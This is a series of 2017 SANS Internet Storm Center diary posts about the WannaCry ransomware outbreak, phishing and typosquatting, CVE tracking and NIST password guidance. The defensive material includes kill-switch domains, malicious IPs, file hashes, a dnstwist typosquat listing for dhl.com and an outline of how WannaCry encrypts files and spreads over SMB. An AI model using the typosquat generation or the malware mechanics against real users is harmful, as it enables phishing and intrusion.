Plain and simple, when vendor patches come out, apply them.  In a lot of cases, Patch Tuesday means "Reboot Wednesday" for a lot of organizations, or worst case "Reboot Saturday".  If you don't have a "test the patches" process, then in a lot of cases simply waiting a day or two (to let all the early birds test them for you) will do the job.  If you do have a test process, in today's world it truly needs to take 7 days or less.
There are some hosts that you won't be patching.  The million dollar MRI machine, the IV pump or the 20 ton punch press in the factory for instance.  But you know about those, and you've segmented them away (in an appropriate way) from the internet and your production assets.  This outbreak wasn't about those assets, what got hammered by Wannacry was the actual workstations and servers, the hospital stations in admitting and emergency room, the tablet that the nurse enters your stats into and so on.  Normal user workstations that either weren't patched, or were still running Windows XP.

That being said, there are always some hosts that can be patched, but can't be patched regularly.  The host that's running active military operations for instance, or the host that's running the callcenter for flood/rescue operations, e-health or suicide hotline.  But you can't give just up on those - in most cases there is redundancy in place so that you can update half of those clusters at a time.  If there isn't, you do still need to somehow get them updated on a regular schedule.

Lesson learned?  If your patch cycle is longer than a week, in today's world you need to revisit your process and somehow shorten it up.  Document your exceptions, put something in to mitigate that risk (network segmentation is a common one), and get Sr Management to sign off on the risk and the mitigation.

2/  Unknown Assets are waiting to Ambush You

A factor in this last attack were hosts that weren't in IT's inventory.  In my group of clients, what this meant was hosts controlling billboards or TV's running ad's in customer service areas (the menu board at the coffee shop, the screen telling you about retirement funds where you wait in line at the bank and so on).  If this had been a linux worm, we'd be talking about projectors, TVs and access points today.

One and all, I pointed those folks back to the Critical Controls list ( https://www.cisecurity.org/controls/ ).  In plain english, the first item is "know what's on your network" and the second item is "know what is running on what's on your network".

If you don't have a complete picture of these two, you will always be exposed to whatever new malware (or old malware) that "tests the locks" at your organization.

3/ Watch the News.
.... And I don't mean the news on TV.  Your vendors (in this case Microsoft) have news feeds, and there are a ton of security-related news sites, podcasts and feeds (this site is one of those, our StormCast podcast is another).  Folks that "watch the news" knew about this issue starting back in 2015, when Microsoft started advising us to disable SMB1, then again last year (2016) when Microsoft posted their "We're Pleading with you, PLEASE disable SMB1" post.  We knew specifically about the vulnerabilities used by Wannacry in  January when the Shadowbrokers dump happened, we knew again when the patches were released in March, and we knew (again, much more specifically) when those tools went live in April.  In short, we were TOLD that this was coming, by the time this was on the TV media, this was very old news.

4/ Segment your network, use host firewalls
In most networks, workstation A does not need SMB access to workstation B.  Neither of them need SMB access to the mail server or the SQL host.  They do need that access to the SMB based shares on the file and print servers though.  If you must have SMB version 1 at all, then you have some other significant issues to look at.
Really what this boils down to is the Critical Controls again.  Know what services are needed by who, and permit that.  Set up "deny" rules on the network or on host firewalls for the things that people don't need - or best case, set up denies for "everything else".  I do realize that this is not 100% practical.  For instance, denying SMB between workstations is a tough one to implement, since most admin tools need that same protocol.  Many organizations only allow SMB to workstations from server or management subnets, and that seems to work really nicely for them.  It's tough to get sign-off on that sort of restriction, management often will see this as a drastic measure. 

Disabling SMB1 should have happened months ago, if not year(s) ago.

5/ Have Backups
Many clients found out *after* they were infected by Wannacry that their users were storing data locally.  Don't be that company - either enforce central data storage, or make sure your users' local data is backed up somehow.  Getting users to sign off that their local data is ephemeral only, that it's not guaranteed to be there after a security event is good advice, but after said security event IT generally finds out that even with that signoff, everyone in the organization still holds them responsible.  

All to often, backups fall on the shoulders of the most Jr staff in IT.  Sometimes that works out really well, but all to often it means that backups aren't tested, restores fail (we call that "backing up air"), or critical data is missed.

Best just to back it your data (all your data) and be done with it.

6/ Have a Plan

You can't plan for everything, but everyone should have had a plan for the aftermath of Wannacry.  The remediation for this malware was the classic "nuke from orbit" - wipe the workstation's drives, re-image and move on.  This process should be crystal-clear, and the team of folks responsible to deliver on this plan should be similarly clear.

I had a number of clients who even a week after infection were still building their recovery process, while they were recovering. If you don't have an Incident Response Plan that includes widespread workstation re-imaging, it's likely time to revisit your IR plan!

7/ Security is not an IT thing
Security of the assets of the company are not just an IT thing, they're a company thing.  Sr Management doesn't always realize this, but this week is a good time to re-enforce this concept.  Failing on securing your workstations, servers, network and especially your data can knock a company offline, either for hours, days, or forever.  Putting this on the shoulders of the IT group alone isn't fair, as the budget and staffing approvals for this responsibility is often out of their hands.

Looking back over this list, it comes down to: Patch, Inventory, Keep tabs on Vendor and Industry news, Segment your network, Backup, and have an IR plan.  No shame and no finger-pointing, but we've all known this for 10-15-20 years (or more) - this was stuff we did in the '80's back when I started, and we've been doing since the '60's.  This is not a new list - we've been at this 50 years or more, we should know this by now.  But from what was on TV this past week, I guess we need a refresher?

Have I missed anything?  Please use our comment form if we need to add to this list!

===============
Rob VandenBrink
Compugen

1 Comments

Published: 2017-05-22

Investigating Sites After They are Gone; And a Case of Uber Phishing With SSL

A reader sent us an interesting find of a phishing site that is going after Uber credentials. Uber credentials are often stolen and resold to obtain free rides. One method the credentials are stolen is phishing. The latest example is using convincing looking Uber receipt emails. These emails feature a prominent link to "uberdisputes.com". 

Uberdisputes.com then requests the user's Uber credentials to log in. Overall, the site uses the expected Uber layout. But more: The site uses a valid SSL certificate.

Turns out that the site was hosted behind a Cloudflare proxy. Cloudflare does issue free SSL certificates, and just like most certificate authorities, it only requires proof of domain ownership to obtain this service. This does make it more difficult to distinguish a fake site from the real thing.

Now by the time I started to investigate this, the original site was already taken down. But there was still some evidence left to see what happened. First of all, passive DNS databases did record the IP address of the site, which pointed to Cloudflare. Secondly, when searching certificate transparency logs, it was clear that a certificate for this site was issued to Cloudflare. Like for all Cloudflare certificates, the certificate was valid for a long list of hostnames hosted by Cloudflare. Sadly, it looks like whois history sites like Domaintools have no record of the site, so we do not know when it was exactly registered, but likely just before the domain started to get used. 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

0 Comments

Published: 2017-05-20

Typosquatting: Awareness and Hunting

Typosquatting has been used for years to lure victims… You receive an email or visit an URL with a domain name which looks like the official one. Typosquatting is the art of swapping, replacing, adding or omitting some letters to make a domain looking like the official one. The problem is that the human brain will correct automatically what you see and you think that you visit the right site. I remember that the oldest example of typosquatting that I saw was “mircosoft.com”. Be honest, at the first time, you read "microsoft.com" right? This domain was registered in 1997 but it has been taken back by Microsoft for a while. Longer is your domain name, more you have available combinations of letters to generate fake domains. Sometimes it's difficult to detect rogue domains due to the font used to display them. An “l” looks like a “1” or a “0” looks like an “O”.

Yesterday, I found a nice phishing email related to DHL (the worldwide courier company). The message was classic: DHL claims that somebody passed by your home and nobody was present. But this time, it was not a simple phishing page trying to collect credentials, there was a link to a ZIP file. The archive contained a malicious HTA file that downloaded a PE file[1] and executed it. Let’s put the malware aside and focus on the domain name that was used: dhll.com (with a double “L”).

A quick check reveals that this domain is hopefully owned by DHL (not “DHL Express” but the “Deutsche Post DHL” who owns the courier company:

Domain Name: dhll.com
Registry Domain ID: 123181256_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2016-09-23T04:00:10-0700
Creation Date: 2004-06-22T00:00:00-0700
Registrar Registration Expiration Date: 2017-06-22T00:00:00-0700
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2083895740
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Registry Registrant ID:
Registrant Name: Deutsche Post AG
Registrant Organization: Deutsche Post AG
Registrant Street: Charles-de-Gaulle-Strasse 20
Registrant City: Bonn
Registrant State/Province: -
Registrant Postal Code: 53113
Registrant Country: DE
Registrant Phone: +49.22818296701
Registrant Phone Ext:
Registrant Fax: +49.22818296798
Registrant Fax Ext:
Registrant Email: domains@deutschepost.de
Registry Admin ID:Admin Name: Domain Administrator
Admin Organization: Deutsche Post AG
Admin Street: Charles-de-Gaulle-Strasse 20
Admin City: Bon
Admin State/Province: -
Admin Postal Code: 53113
Admin Country: DE
Admin Phone: +49.22818296701Admin Phone Ext:
Admin Fax: +49.22818296798
Admin Fax Ext:
Admin Email: admincontact.domain@deutschepost.de
Registry Tech ID:
Tech Name: Technical Administrator
Tech Organization: DHL
Tech Street: 8701 East Hartford Drive
Tech City: Scottsdale
Tech State/Province: AZ
Tech Postal Code: 85255
Tech Country: US
Tech Phone: +1.4089616666
Tech Phone Ext:
Tech Fax: -
Tech Fax Ext:
Tech Email: netmaster@dhl.com
Name Server: ns4.dhl.com
Name Server: ns6.dhl.com
DNSSEC: unsigned

The zone "dhll.com" is also hosted on the DHL name servers. That’s a good point that DHL registered potentially malicious domains but... if you do this, don’t only park the domain, go further and really use it! It's not because the domain has been registered by the official company that bad guys cannot abuse it to send spoofed emails.

First point: "dhll.com" or "www.dhll.com" do not resolve to an IP address. If you register such domains, create a website and make them point to it and log who’s visiting the “fake” page. You can display an awareness message or just redirect to the official site. This will also prevent your customers to land on a potentially malicious site and improve their experience with you.

The second point is related to the MX records. No MX records were defined for the "dhll.com" domain. Like with the web traffic, build a spam trap to collect all messages that are sent to *@dhll.com. By doing this, you will capture traffic potentially interesting and you will be able to detect if the domain is used in a campaign (ex: you will catch all the “non-delivery receipts” in the spam trap.

Finally, add an SPF[2] record for the domain. This will reduce the amount of spam and phishing campaigns. 

To conclude, registering domain names derived from your company's name is the first step but don't just park them and use them for hunting and awareness!

A quick reminder about the tool dnstwist[3] which is helpful to generate lists of a rogue domains (from an offensive as well as defensive point of view). Here is an example based on dhl.com:

# docker run -it --rm jrottenberg/dnstwist --ssdeep --mxcheck --geoip dhl.com
      _           _            _     _
  __| |_ __  ___| |___      _(_)___| |_
 / _` | '_ \/ __| __\ \ /\ / / / __| __|
| (_| | | | \__ \ |_ \ V  V /| \__ \ |_
 \__,_|_| |_|___/\__| \_/\_/ |_|___/\__| {1.01}

Fetching content from: http://dhl.com ... 200 OK (396.3 Kbytes)
Processing 56 domain variants ................ 48 hits (85%)

Original*       dhl.com      199.40.253.33/United States NS:ns4.dhl.com MX:mx1.dhl.iphmx.com SSDEEP:100%
Bitsquatting    ehl.com      45.33.14.247 NS:pdns03.domaincontrol.com MX:smtp.secureserver.net
Bitsquatting    fhl.com      -
Bitsquatting    lhl.com      -
Bitsquatting    thl.com      50.57.5.162/United States NS:dns1.name-services.com MX:us-smtp-inbound-1.mimecast.com
Bitsquatting    dil.com      72.52.4.119/United States NS:ns1.sedoparking.com MX:localhost
Bitsquatting    djl.com      117.18.11.145/Hong Kong NS:ns1.monikerdns.net
Bitsquatting    dll.com      68.178.254.85/United States NS:ns43.domaincontrol.com MX:smtp.secureserver.net
Bitsquatting    dxl.com      69.74.234.98/United States NS:ns59.worldnic.com SPYING-MX:dxl-com.mail.protection.outlook.com
Bitsquatting    dhm.com      192.241.215.84/United States NS:ns19.worldnic.com MX:dhm.com
Bitsquatting    dhn.com      62.129.139.241/Netherlands NS:pdns07.domaincontrol.com MX:smtp.secureserver.net
Bitsquatting    dhh.com      103.241.230.134/India NS:dns1.iidns.com
Bitsquatting    dhd.com      NS:ns-west.cerf.net MX:dhd-com.mail.protection.outlook.com
Homoglyph       bhl.com      206.188.192.219/United States NS:ns79.worldnic.com SPYING-MX:bhl-com.mail.protection.outlook.com
Homoglyph       dhi.com      199.36.188.56/United States NS:ns10.dnsmadeeasy.com
Homoglyph       clhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Homoglyph       dlhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Homoglyph       dihl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Homoglyph       dh1.com      208.91.197.27/Virgin Islands NS:ns43.worldnic.com SPYING-MX:p.webcom.ctmail.com
Hyphenation     d-hl.com     104.24.124.134/United States 2400:cb00:2048:1::6818:7c86 NS:fiona.ns.cloudflare.com MX:mx1.emailowl.com
Hyphenation     dh-l.com     72.52.4.119/United States NS:ns1.sedoparking.com MX:localhost
Insertion       duhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dhul.com     82.194.88.4/Spain NS:ns1.dominioabsoluto.com
Insertion       djhl.com     47.89.24.50/Canada NS:f1g1ns1.dnspod.net
Insertion       dhjl.com     -
Insertion       dnhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dhnl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dbhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dhbl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dghl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dhgl.com     209.61.212.161/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Insertion       dyhl.com     NS:dns17.hichina.com MX:mxbiz1.qq.com
Insertion       dhyl.com     -
Omission        dl.com       104.247.212.218 NS:ns1.gridhost.com SPYING-MX:mail.b-io.co
Omission        dh.com       54.204.28.210/United States NS:a5-67.akam.net SPYING-MX:mx1.dhltd.iphmx.com
Omission        hl.com       107.154.105.117/United States NS:ns57.domaincontrol.com MX:mail0.hl.com
Repetition      ddhl.com     180.149.253.156/Hong Kong NS:ns11.domaincontrol.com SPYING-MX:ddhl-com.mail.protection.outlook.com
Repetition      dhll.com     -
Repetition      dhhl.com     209.61.212.154/United States NS:ns1.dnsnameservice.com MX:smtp.getontheweb.com
Replacement     rhl.com      107.161.31.165/United States NS:ns1.hungerhost.com MX:mx.spamexperts.com
Replacement     chl.com      216.222.148.100 NS:nameserver.ttec.com MX:smtp2.mx.ttec.com
Replacement     xhl.com      69.172.201.153/United States NS:ns1.uniregistrymarket.link
Replacement     shl.com      69.171.27.23/United States NS:eu-sdns-01.shl.com SPYING-MX:mxa-0016ba01.gslb.pphosted.com
Replacement     dul.com      62.129.139.241/Netherlands NS:pdns01.domaincontrol.com MX:smtp.secureserver.net
Replacement     dnl.com      -
Replacement     dbl.com      198.173.111.6/United States NS:ns53.worldnic.com SPYING-MX:p.webcom.ctmail.com
Replacement     dgl.com      216.107.145.5 NS:ns62.downtownhost.com MX:dgl.com
Replacement     dyl.com      99.198.109.164/United States NS:ns-1768.awsdns-29.co.uk MX:mail.dyl.com
Replacement     dhk.com      98.191.212.87/United States NS:ns1.dhk.com MX:dhk.com.us.emailservice.io
Replacement     dho.com      75.126.101.248/United States NS:ns1bqx.name.com
Replacement     dhp.com      199.4.150.5/United States NS:dhp.com MX:mailhub.dhp.com
Subdomain       d.hl.com     -
Subdomain       dh.l.com     -
Transposition   hdl.com      216.51.232.170/United States NS:ns1.systemdns.com MX:aspmx.l.google.com
Transposition   dlh.com      212.130.57.148/Denmark NS:ns1.ascio.net SPYING-MX:mail.dlh.com
Various         wwwdhl.com   199.41.238.47/United States NS:ns.deutschepost.de

[1] https://www.virustotal.com/en/file/f438ba968d6f086183f3ca86c3c1330b4c933d97134cb53996eb41e4eceecf53/analysis/
[2] https://support.google.com/a/answer/33786?hl=en
[3] https://github.com/elceef/dnstwist

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

4 Comments

Published: 2017-05-18

My Little CVE Bot

The massive spread of the WannaCry ransomware last Friday was another good proof that many organisations still fail to patch their systems. Everybody admits that patching is a boring task. They are many constraints that make this process very difficult to implement and... apply! That’s why any help is welcome to know what to patch and when. This is the key: 

  • What to patch? What are the applications/appliances that are deployed in your infrastructure?
  • When to patch? When are new vulnerabilities discovered?

The classification of vulnerabilities is based on the “CVE” (or “Common Vulnerabilities and Exposures”) standard maintained by mitre.org[1]. To explain briefly, when a security researcher or a security firm finds a new vulnerability, a CVE number is assigned to it (CVE-YYYY-NNNNN). The CVE contains all the details of the vulnerability (which application/system is affected, the severity and many more information). As an example, the vulnerability exploited by WannaCry was %%cve:2017-0143%%.

Those CVE are stored in open databases and many organisations are using them and provide online services like cvedetails.com[2]. There are plenty of them that offer almost all the same features but they don't really match my requirements. My favourite tool to search for CVE is the cve-search project[3]. Why? Because you can have the complete CVE database with you (read: offline) and you can search using command line tools. Note a web interface is also available:

Based on cve-search, I can provide details about new CVE's to my customers or any other organisations just by querying the database. Indeed, reading the daily flow of CVE is difficult and useless for many people. They have to focus on what affect them. To help them, I'm using a quick & dirty shell script that parses a simple config file like this:

$ cat cve-tracker.conf
xavier@company.com|1|csv|microsoft:windows_10|pfsense
john@doe.org|5|json|apple:iphone_os
charles@cisco.com|1|html|cisco:ios:12.4|cisco:aironet_1850i

The format is easy: one customer per line

<email_contact> | <days_to_check> | <output_format> | <product_definition> [ | <product_definition> ] ...

The script will parse this config file and search for new CVE for each product definition. Results will be sent via email to the specified address.

As I’m using CVE-Search in a docker[4], I scheduled a crontab:

0 6 * * * docker exec -i cvesearch /opt/cve-search/bin/cve-tracker.sh

Of course, the main requirement is to know what you are using on your infrastructure. The information used in the config file describes the products is based on the CPE standard[6] which categorises applications, operating systems and hardware devices. This information can be found by Nmap. An alternative is to use the following tool on your own network (only!): cve-scan[7]. It scans hosts and searches for vulnerabilities in the cve-search database.

My script is available on my GitHubrepository[5].

[1] https://cve.mitre.org
[2] http://www.cvedetails.com/
[3] https://github.com/cve-search/cve-search
[4] https://hub.docker.com/r/rootshell/cvesearch/
[5] https://github.com/xme/toolbox
[6] http://cpe.mitre.org/
[7] https://github.com/NorthernSec/cve-scan

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

2 Comments

Published: 2017-05-17

Wait What? We don?t have to change passwords every 90 days?

/. Recently published a post covering a draft NIST Standard that is in review [1]. This handler thought it would cause a disturbance in the force, but so far no one is discussing it. One of the big stand out changes is no more periodic password changes [2]. There are several others as well, and CSO Online has a fantastic summary review [3].

There are some clear differences that stand out right away in the introduction. As with most things, standards evolve as we learn.

 

Original introduction (first 3 sentences)

“ Electronic authentication (e-authentication) is the process of establishing confidence in user identities electronically presented to an information system. E-authentication presents a technical challenge when this process involves the remote authentication of individual people over a network. This recommendation provides technical guidelines to agencies to allow an individual person to remotely authenticate his/her identity to a Federal Information Technology (IT) system. [4]”

 

Draft Publication Introduction (first 3 sentences)

Digital identity is the unique representation of a subject engaged in an online transaction. A digital identity is always unique in the context of a digital service, but does not necessarily need to uniquely identify the subject. In other words, accessing a digital service may not mean that the physical representation of the underlying subject is known. [2]

 

The new draft goes on from there to outline digital identity and attempts to clearly define access and uses more risk based language.

One clear change that will shock users is the removal of periodic password changes. The handlers agree that a strong review of this draft is in order for security professionals as we can hear the users now:

“Wait, you have been forcing me to change my passwords ALL THIS time, and now your saying it is not needed?”

Another section that should be reviewed and discussed deeply is 5.2.7 Verifier Compromise Resistance. According to the section there should be some mechanism to verify compromise resistance. One could interpret this to run passwords against breached credential databases, however this is not specifically called out  [2] [3].

In conclusion, this standard is a strong deviation from previous recommendations and should be reviewed for impact to your security practice. (There is that disturbance in the force we were looking for).

[1] https://it.slashdot.org/story/17/05/09/1542236/nists-draft-to-remove-periodic-password-change-requirements-gets-vendors-approval

[2] https://pages.nist.gov/800-63-3/sp800-63b.html

[3] http://www.csoonline.com/article/3195181/data-protection/vendors-approve-of-nist-password-draft.html

[4] http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-2.pdf

2 Comments

Published: 2017-05-16

WannaCry? Do your own data analysis.

"In God we trust. All others must bring data." ~Bob Rudis

With endless amounts of data, technical detail, and insights on WannaCrypt/WannaCry, and even more FUD, speculation, and even downright trolling, herein is a proposal for you to do your own data-driven security analysis. My favorite book to help you scratch that itch? Data Driven Security: Analysis, Visualization and Dashboards, by Jay Jacobs & Bob Rudis. A few quick samples, using WannaCry data and R, the open source programming language and software environment for statistical computing and graphics. If ever you wanted to pick up a bit of immediately useful programming, R is for you.

Our good friends over at Team Cymru tweeted out a great GitHubGist WannaCry factsheet, therein are a number of useful resources, many leading to other good reads. I easily tracked down a list of malicious IPs associated with WannaCry. 

 WannaCry IPs

You can always learn interesting insights from IPs and this situation is no different. In very few lines of R, we can identify and visualize the data for further insight. I'll walk you through it. First, let's pull in the libraries we need to do some IP geolocation, create a word cloud, and make said word cloud more color rich, and make a nice plot.

library(rgeolocate)
library(wordcloud)
library(RColorBrewer)
library(plotrix)

We need to then read in Maxmind data (GeoLite2-Country) and call Oliver Key and @hrbrmstr's rgeolocate package

file <- system.file("extdata","GeoLite2-Country.mmdb", package = "rgeolocate")

Follow that with our malicious WannaCry IP addresses.

ips <- c('188.166.23.127','91.219.236.222','46.101.166.19','193.23.244.244','62.210.124.124','2.3.69.209',
         '144.76.92.176','91.121.65.179','146.0.32.144','148.244.38.101','91.219.237.229','50.7.161.218',
         '149.202.160.69','217.79.179.177','87.7.10.93','163.172.149.155','212.47.232.237','192.42.115.101',
         '171.25.193.9','81.30.158.223','178.62.197.82','195.22.26.248','79.172.193.32','212.47.244.98',
         '197.231.221.221','38.229.72.16','5.35.251.247','198.96.155.3','46.101.166.19','128.31.0.39',
         '213.61.66.117','23.254.167.231')

Finally, we pull it all together and receive our first results file.

results <- maxmind(ips, file, c("continent_name", "country_code", "country_name"))
results

And in one fell swoop, we create a word cloud from our data.

wordcloud(results$country_name, max.words = 100, min.freq = 1, random.order = FALSE, rot.per=0.35, colors=brewer.pal(8, "Dark2"))

Hmm, looks like most of the malicious IPs are in Germany. :-)

Prefer to visualize that a different way? No problem, we'll run a quick count and use plotH to create a scatterplot with histogram-like bars.

ct <- count(results$country_name)
plotH(freq~x,data=ct,ylab="Frequency",xlab="Country",col="blue")

Give it a try for yourself. When events such as WannaCry have you frustrated and down, you can at least take data-driven security analysis in your own hands.

Resources for this article:

Source code for this post: https://github.com/holisticinfosec/toolsmith_R

Cheers.

Russ McRee | @holisticinfosec

3 Comments

Published: 2017-05-15

WannaCry/WannaCrypt Ransomware Summary

Update New Kill Switch Confirmed:

kill switch: ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf[.]com

 

Sources:

https://virustotal.com/en/file/b9318a66fa7f50f2f3ecaca02a96268ad2c63db7554ea3acbde43bf517328d06/analysis/

https://www.hybrid-analysis.com/sample/b9318a66fa7f50f2f3ecaca02a96268ad2c63db7554ea3acbde43bf517328d06?environmentId=100


Update: 

After a consensus among the handlers we are moving infocon back to green. We will continue to monitor and update this situation as as it evolves. Please keep the reports and observations flowing in! We will leave the diaries on WannaCry up for another few hours then move back to regular posts.

If you have not seen, Dr J put together an excellent presentation (https://isc.sans.edu/presentations/WannaCry.ppt) summarizing this situation, and we have a Slack Dshield channel (Slack) that you can join the real-time chatter.

@packetalien "Handler on Duty"


 

The ransomware was first noticed on Friday and spread very quickly through many large organizations worldwide [verge]. Unlike prior ransomware, this sample used the SMBv1 “ETERNALBLUE” exploit to spread. “ETERNALBLUE” became public about a month ago when it was published as part of the Shadowbroker archive of NSA hacking tools [shadow].

A month prior to the release of the hacking tool, Microsoft had patched the vulnerability as part of the March Patch Tuesday release. The patch was released for Windows Vista, Windows Server 2008 and later versions of Windows as part of MS17-010 in March [MS17-010]. In response to the rapid spread of WannaCry, on Friday Microsoft released a patch for older versions of Windows, going back to Windows XP and Windows Server 2003 [msft].

At the time of the initial WannaCry outbreak, we also noticed a significant increase in scanning for port 445 [port445]. The increase was likely caused by infected systems scanning for more victims. It is not clear how the infection started. There are some reports of e-mails that include the malware as attachment seeding infected networks. But at this point, no actual samples have been made public. It is possible that the worm entered a corporate network via vulnerable hosts that had port 445 exposed to the internet. The WannaCry malware itself does have no e-mail component.

The malware will first check if it can reach a specific website at http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com.

It will also check if a registry key is present. It will not run if either the registry key is present or the website is reachable. The domain has been registered and a web server has been set up by a security researcher. This significantly reduced the impact of WannaCry. A tool was released that will assist in setting the registry keys, which will also reduce the risk of infection. Over the weekends, reports indicated that new versions of the worm were spreading that used slightly different “kill switches”. But all current versions check a website and check for registry keys. Rendition Infosec released a "Tearst0pper" tool that can be used to set the registry entries. [tearst0pper]

The malware creates a 2048 bit RSA key pair. The private key is encrypted using a public key that is included with the malware. For each file, a new random AES key is generated. This random AES key is then encrypted using the public user key. To decrypt the files, the user’s private key needs to be decrypted, which requires the malware author's private key. Unlike some other ransomware, no network communication is needed to generate these keys [pastebin]. The password “WNcry@2ol7” is not used to encrypt files. It is only used by the malware to decrypt some of its components. [endgame]

Encrypted files use the extension. wncry. To decrypt the files, the user is asked to pay $300, which will increase to $600 after a few days. The ransomware threatens to delete all files after a week.

In addition to encrypting files, the malware also installs a DOUBLEPULSAR back door. The backdoor could be used to compromise the system further. The malware will also install Tor to facilitate communication with the ransomware author.

New variants have been reported over the weekend with slight changes to the kill switch domain and registry keys.

We expect to reduce the Infocon back to green on Monday.

What Can You do to prevent Infection?

  • Apply MS17010 to Windows Vista and later (Windows Server 2008 and later)
  • Apply Friday’s patch to Windows XP or Window Server 2003.
  • Verify correct patch application
  • Make sure the “kill switch” domain and website is reachable from your network without proxy. If not, setup an internal DNS sinkhole and redirect to an internal website. Do not block access to the website.
  • Deploy the registry key inoculation [tearst0pper]
  • Disable SMBv1 [msftsmbv1]
  • Make sure systems are running up to date anti-malware

Indicators of Compromise:

https://www.us-cert.gov/ncas/alerts/TA17-132A

PowerPoint for Presentations to Management

https://isc.sans.edu/presentations/WannaCry.ppt

Friday SANS Webcast with technical details

https://www.sans.org/webcasts/special-webcast-wannacry-ransomeware-threat-105160

References:

[verge] https://www.theverge.com/2017/5/14/15637888/authorities-wannacry-ransomware-attack-spread-150-countries

[shadow] https://github.com/misterch0c/shadowbroker

[ms17-010] https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

[msft] https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks

[port445] https://isc.sans.edu/port.html?port=445

[pastebin] https://pastebin.com/aaW2Rfb6

[tearst0pper] https://www.renditioninfosec.com/2017/05/wanacry-because-your-organization-is-slow-to-patch-stop-the-tears-with-tearst0pper/

[msftsmbv1] https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012

[sans] https://www.sans.org/webcasts/special-webcast-wannacry-ransomeware-threat-105160

[endgame] https://www.endgame.com/blog/wcrywanacry-ransomware-technical-analysis

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

4 Comments

Published: 2017-05-13

Microsoft Released Guidance for WannaCrypt

Microsoft released information what can be done to protect against WannaCry[1] which includes deploying MS17-010 if not already done (March patch release)[2], update Windows Defender (updated 12 May)[3] and if not using SMBv1 to disable it available here.

Microsoft has provided a security update for all customers to protect Windows platforms that are in custom support only, including Windows XP, Windows 8, and Windows Server 2003.

Note: If you are running Windows 10, you are not targeted by this attack.

A live map of the infection is available here.

Update 1: There is additional information including hashed, C&C sites as well as the file type it will encrypt and samples located here. US-CERT released the following information of Indicators Associated With WannaCry Ransomware here.

Update 2: There are reports that indicate that WannaCry VERSION 2 has been released and the kill switch that had been activated by a security researcher has been removed. If you haven't already applied MS17-010 and blocked inbound SMB traffic, you can still fall victim of this Ransomware.

[1] https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks
[2] https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
[3] https://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Ransom:Win32/WannaCrypt
[4] https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
[5] https://intel.malwaretech.com/WannaCrypt.html
[6] https://gist.github.com/pcostesi/87a04a3bbbdbc4aeb8b787f45eb21197
[7] https://www.us-cert.gov/ncas/alerts/TA17-132A
[8] http://thehackernews.com/2017/05/wannacry-ransomware-cyber-attack.html

 

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

10 Comments

Published: 2017-05-12

Massive wave of ransomware ongoing

For an updated summary, see: WannaCry/WannaCrypt Ransomware Summary

For a few hours, bad news are spreading quickly about a massive wave of infections by a new ransomware called "WannaCry". We are still trying to collect more information about it. It seems that 45K attacks were detected from 74 differents countries:


(Source: MalwareTech)

Big targets have been telecom operators (ex: Telefonica in Spain) and hospitals in UK. Once the malware has infected a computer, it spreads across the network looking for new victims using the SMB protocol.

The ransomware uses the Microsoft vulnerability MS17-10[1]. (This vulnerability was used by ETERNALBLUE[2])

Here are some IOC's that we already collected:

SHA256:

  • 09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa
  • 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
  • 2584e1521065e45ec3c17767c065429038fc6291c091097ea8b22c8a502c41dd
  • 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
  • 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79

SHA1:

  • 45356a9dd616ed7161a3b9192e2f318d0ab5ad10
  • 51e4307093f8ca8854359c0ac882ddca427a813c

MD5:

  • 509c41ec97bb81b0567b059aa2f50fe8
  • 7bf2b57f2a205768755c07f238fb32cc
  • 7f7ccaa16fb15eb1c7399d422f8363e8

File extension: .wncry

Ransomware notification: @Please_Read_Me@.txt

Emerging threats has an IDS rule that catches the ransomware activity: (ID: 2024218)

